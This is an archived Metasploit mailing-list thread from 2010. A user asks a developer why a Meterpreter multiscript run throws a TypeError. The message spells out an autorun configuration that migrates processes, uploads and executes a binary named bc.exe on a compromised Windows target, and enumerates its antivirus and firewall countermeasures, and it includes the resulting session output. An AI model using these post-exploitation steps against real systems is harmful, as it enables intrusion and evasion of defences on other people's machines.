Metasploit mailing list archives

Re: upload and execute script error in meterpreter


From: Miguel Rios <miguelrios35 () yahoo com>
Date: Fri, 8 Oct 2010 12:11:33 -0700 (PDT)

Thanks. Weird because I've used it before and don't recall this problem.
Anyway, I have the initialautorunscript set to migrate -f, then I have autorunscript set to multiscript.rb -rc 
/opt/metasploit3/msf3/todo.lst. On my todo.lst I have "uploadexec -e /opt/metasploit3/msf3/bc.exe" on the first line 
and "getcountermeasure" on the second line (without the quotes). I thought this was the correct way to run the scripts, 
and if I add other scripts (like enum firefox) on the 3rd line, etc they seem to run OK.

--- On Fri, 10/8/10, Joshua J. Drake <jdrake () metasploit com> wrote:

From: Joshua J. Drake <jdrake () metasploit com>
Subject: Re: [framework] upload and execute script error in meterpreter
To: "Miguel Rios" <miguelrios35 () yahoo com>
Cc: "Rob Fuller" <mubix () room362 com>, framework () spool metasploit com
Date: Friday, October 8, 2010, 6:18 PM

On Fri, Oct 08, 2010 at 10:48:56AM -0700, Miguel Rios wrote:
Sure. Here's the relevant output. Strangely enough, although it does
throw up the type error the actual binary does get uploaded and
executed. Still it is a bit strange. I just tried with a win 7 target
and I got the same result. You can see the rest of the scripts kept
running so I'm not posting them here since I think that's irrelevant.

cheers

?Running Multiscript script.....
[*] Running script List ...
[*]???? running script uploadexec -e /opt/metasploit3/msf3/bc.exe
[*] Running Upload and Execute Meterpreter script....
[*]???? Uploading /opt/metasploit3/msf3/bc.exe....
[*]???? /opt/metasploit3/msf3/bc.exe uploaded!
[*]???? Uploaded as C:\Users\xxx\AppData\Local\Temp\xxx94.exe
[*]???? running command C:\xxx\tosh\AppData\Local\Temp\xxx94.exe
[*] Finished!
[*]???? running script
[-] Error: TypeError can't convert nil into String
[-] Error in script:

[*]???? running script getcountermeasure
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*]???? Possible countermeasure found cmdagent.exe
[*]???? Possible countermeasure found sched.exe
[*]???? Possible countermeasure found avguard.exe
[*]???? Possible countermeasure found avgnt.exe C:\Program Files\Avira\AntiVir Desktop\avgnt.exe
[*]???? Possible countermeasure found cfp.exe C:\Program Files\COMODO\COMODO Internet Security\cfp.exe
[*] Getting Windows Built in Firewall configuration...

It appears to be related to how you're running multiscript. Please
show us how you're doing that so we can correct the error.

-- 
Joshua J. Drake



      
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: